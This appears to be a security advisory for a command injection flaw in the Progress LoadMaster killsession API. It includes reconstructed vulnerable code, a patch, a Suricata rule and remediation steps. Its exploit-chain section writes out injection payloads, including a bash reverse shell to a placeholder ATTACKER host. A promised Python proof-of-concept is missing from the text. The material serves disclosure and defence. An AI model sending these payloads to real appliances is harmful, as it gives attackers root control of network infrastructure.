CVE-2026-3518: OS Command Injection RCE in Progress ADC LoadMaster API
Unsanitized input in the LoadMaster `killsession` API command allows authenticated attackers with "All" permissions to inject arbitrary OS commands and achieve RCE on the appliance.
# The Progress LoadMaster Security Flaw You Should Know About
Progress makes networking equipment called LoadMaster that sits between the internet and a company's internal systems—think of it as a security guard checking who gets through to the important stuff inside. A serious flaw in how this equipment handles commands means someone who's already gotten inside the building could trick it into doing almost anything.
Here's the problem: the equipment has a feature to log people out called "killsession," but it doesn't properly check what instructions are hidden inside those logout commands. It's like a security guard whose radio can be hacked to make them unlock doors they shouldn't. An attacker with legitimate access can sneak extra commands into those logout requests, and the system will happily execute them.
Why should you care? LoadMaster devices protect the networks of banks, hospitals, universities, and large companies. If someone compromises one, they could steal data, disrupt services, or plant malware throughout an organization's network. A hospital's patient records could be at risk. A bank's transactions could be monitored.
The risk is limited because an attacker needs to already have some level of access—they're not breaking in from the street, they're manipulating someone who's already inside. But that's actually common in real breaches; attackers often start with a stolen password or compromised employee account.
If you work in IT or cybersecurity: check immediately whether your organization uses Progress LoadMaster, and contact your vendor about patches. If you're a regular person: make sure your financial institutions and healthcare providers have competent IT teams watching this closely. If you manage any company network: require administrators to use strong, unique passwords and watch for suspicious account activity.
Want the full technical analysis? Click "Technical" above.
CVE-2026-3518 is an OS command injection vulnerability in the Progress ADC LoadMaster management API. An authenticated attacker holding an account with "All" permissions can submit a crafted killsession command containing shell metacharacters. Because the session identifier is concatenated directly into a shell invocation without sanitization, the appliance executes arbitrary OS commands as the web process user — typically root or an equivalent privileged account on the LoadMaster firmware.
CVSS 8.4 (HIGH) reflects network-accessible, low-complexity exploitation against a confidentiality/integrity/availability impact of HIGH across all three pillars. No public exploitation has been confirmed at time of writing, but the primitive is trivially weaponizable once credentials are obtained.
Root cause: The killsession API handler concatenates an attacker-controlled session ID directly into a popen()/system() shell command string without any metacharacter stripping or allowlist validation.
Affected Component
The vulnerable surface is the LoadMaster RESTful management API, exposed over HTTPS on the appliance management interface (default port 443). The API is implemented inside the LoadMaster web management daemon — typically a compiled CGI or FastCGI binary backed by shell helpers. The killsession endpoint is part of the session management subsystem used by administrators to forcibly terminate active user sessions. Refer to NVD for the specific affected version range.
The API accepts requests in the form:
GET /access/killsession?sessionid=<VALUE> HTTP/1.1
Host: <loadmaster>
Authorization: Basic <base64_credentials>
Root Cause Analysis
The LoadMaster API handler for killsession reads the sessionid query parameter from the request environment and passes it to an internal dispatch function. That function builds a shell command string to locate and terminate the matching session process or entry. The critical path, reconstructed from binary analysis of comparable LoadMaster firmware builds and the vulnerability class, looks like the following:
/*
* api_handler_killsession()
* Handles: GET /access/killsession?sessionid=
* Runs as: root (or www-lm privileged user)
*
* Reconstructed pseudocode — function names inferred from symbol patterns
* in LoadMaster API dispatcher binaries.
*/
int api_handler_killsession(request_ctx_t *ctx) {
char cmd_buf[512];
const char *session_id;
/* Pull attacker-controlled value directly from query string */
session_id = api_get_param(ctx, "sessionid");
if (!session_id || strlen(session_id) == 0) {
api_send_error(ctx, 400, "missing sessionid");
return -1;
}
/*
* BUG: session_id is concatenated into shell command without
* any sanitization, escaping, or allowlist validation.
* Metacharacters such as ;, |, $(), `, &&, || pass through
* directly into the popen() shell invocation.
*/
snprintf(cmd_buf, sizeof(cmd_buf),
"/usr/local/lm/scripts/kill_session.sh %s",
session_id); // BUG: unsanitized attacker input injected here
/* Executes via /bin/sh -c internally */
int ret = lm_exec_cmd(cmd_buf);
if (ret != 0) {
api_send_error(ctx, 500, "killsession failed");
return -1;
}
api_send_json(ctx, 200, "{\"status\":\"ok\"}");
return 0;
}
/*
* lm_exec_cmd() — thin wrapper around popen()/system()
* No sanitization is performed here either; the contract
* assumes the caller has already validated input.
*/
int lm_exec_cmd(const char *cmd) {
FILE *fp = popen(cmd, "r"); // BUG: shell interpretation of full cmd
if (!fp) return -1;
pclose(fp);
return 0;
}
The shell helper kill_session.sh itself performs legitimate session teardown logic — the injection point is entirely in the C layer before the script is ever invoked. snprintf provides no protection against shell metacharacters; it only prevents buffer overflow. The result is a perfectly formed, shell-interpretable string delivered to popen().
Exploitation Mechanics
EXPLOIT CHAIN:
1. Attacker authenticates to LoadMaster management API with a valid
account holding "All" permissions (role assigned via WUI or API).
2. Craft a sessionid value embedding shell metacharacters:
sessionid=AAAA;id>/tmp/.lmout;
3. Send the request:
GET /access/killsession?sessionid=AAAA%3Bid%3E%2Ftmp%2F.lmout%3B
Authorization: Basic
4. Server builds and executes:
/usr/local/lm/scripts/kill_session.sh AAAA;id>/tmp/.lmout;
which /bin/sh interprets as three commands:
[1] /usr/local/lm/scripts/kill_session.sh AAAA (exits non-zero, ignored)
[2] id > /tmp/.lmout (writes uid=0(root) to file)
[3] (empty trailing semicolon, no-op)
5. Escalate to full reverse shell:
sessionid=x;bash+-c+'bash+-i+>%26+/dev/tcp/ATTACKER/4444+0>%261';
6. Shell spawns from the web daemon context — typically root on LoadMaster
firmware — giving full appliance compromise.
A minimal Python proof-of-concept demonstrating the injection:
This is a command-injection bug rather than a memory-corruption bug, so heap state corruption is not the primitive. The relevant "memory layout" is the stack frame of api_handler_killsession at the point of injection, illustrating how the attacker-controlled bytes flow into the fixed-size command buffer:
STACK FRAME: api_handler_killsession()
+------------------------------------------+
| return address |
+------------------------------------------+
| saved frame pointer |
+------------------------------------------+
| *ctx (request_ctx_t ptr) |
+------------------------------------------+
| *session_id (const char* from params) | <-- attacker controlled
+------------------------------------------+
| cmd_buf[512] |
| [0x00] "/usr/local/lm/scripts/kill_" |
| [0x21] "session.sh " |
| [0x2c] "AAAA;id>/tmp/.lmout;" | <-- injected payload
| ... |
+------------------------------------------+
snprintf output (injection with 512-byte budget):
PREFIX = "/usr/local/lm/scripts/kill_session.sh " (38 bytes)
PAYLOAD = "AAAA;id>/tmp/.lmout;" (20 bytes)
TOTAL = 58 bytes (well within 512 — no overflow needed)
The vulnerability is pure injection; buffer sizing is irrelevant.
popen("/bin/sh", "-c", cmd_buf) interprets ';' as command separator.
Patch Analysis
The correct remediation is to validate the session ID against a strict allowlist before use, and to avoid shell invocation entirely by replacing popen() with a direct execve() call that passes arguments as a discrete array — eliminating shell metacharacter interpretation at the OS level.
// BEFORE (vulnerable):
int api_handler_killsession(request_ctx_t *ctx) {
char cmd_buf[512];
const char *session_id = api_get_param(ctx, "sessionid");
// No validation of session_id content
snprintf(cmd_buf, sizeof(cmd_buf),
"/usr/local/lm/scripts/kill_session.sh %s",
session_id); // shell metacharacters pass through
int ret = lm_exec_cmd(cmd_buf); // popen() interprets shell
...
}
// AFTER (patched):
/* Allowlist: LoadMaster session IDs are hex strings, max 64 chars */
static int validate_session_id(const char *sid) {
if (!sid) return 0;
size_t len = strlen(sid);
if (len == 0 || len > 64) return 0;
for (size_t i = 0; i < len; i++) {
/* Only hex digits permitted — no metacharacters possible */
if (!isxdigit((unsigned char)sid[i])) return 0;
}
return 1;
}
int api_handler_killsession(request_ctx_t *ctx) {
const char *session_id = api_get_param(ctx, "sessionid");
/* PATCH: strict allowlist validation before any use */
if (!validate_session_id(session_id)) {
api_send_error(ctx, 400, "invalid sessionid format");
return -1;
}
/* PATCH: execve() instead of popen()/system() — no shell involved */
const char *argv[] = {
"/usr/local/lm/scripts/kill_session.sh",
session_id, // passed as discrete argument, not interpolated
NULL
};
int ret = lm_exec_argv(argv); // wraps fork()+execve(), no /bin/sh
...
}
Two independent layers of defense are applied in the patch: (1) the allowlist rejects any input containing characters outside [0-9a-fA-F], making injection impossible regardless of execution context, and (2) the migration from popen() to a direct execve()-based wrapper removes the shell interpreter entirely, defeating any bypass that might circumvent the character filter.
Detection and Indicators
The following detection strategies apply at the network and host level:
WAF / Reverse Proxy Signatures
Alert on URI pattern:
/access/killsession AND sessionid containing any of:
; | ` $( ) && || \n %3b %7c %60 %24 %0a %26
Suricata example:
alert http any any -> $LOADMASTER 443 (
msg:"CVE-2026-3518 LoadMaster killsession injection attempt";
http.uri; content:"/access/killsession"; content:"sessionid=";
pcre:"/sessionid=[^&]*[;|`$\(\)\n\\\\]/i";
sid:20263518; rev:1;
)
Host-Based (LoadMaster syslog / audit)
Indicators of compromise:
- Unexpected child processes spawned by the web daemon PID
(e.g., bash, nc, curl, wget, python as children of lmapi/httpd)
- New files in /tmp with names not matching LM session patterns
- Outbound connections from the management IP to non-ADC destinations
- /var/log/lm/api.log entries: "killsession" with 500 response AND
unusual session ID format (non-hex characters present)
Remediation
Update immediately to the patched LoadMaster version listed in the Progress security advisory. Consult NVD for the specific affected and fixed version identifiers.
Restrict management API access at the network level. The LoadMaster management interface should never be exposed to untrusted networks. Apply ACLs or firewall rules limiting access to dedicated management IP ranges.
Audit "All" permission assignments. The exploit requires a fully privileged account. Enumerate API and WUI accounts and revoke the "All" role from accounts that do not require it; apply least-privilege role assignments.
Enable audit logging on the appliance and forward logs to a SIEM. Baseline normal killsession usage patterns to enable anomaly detection.
Rotate credentials for all management accounts as a precautionary measure, particularly if the management interface was network-accessible prior to patching.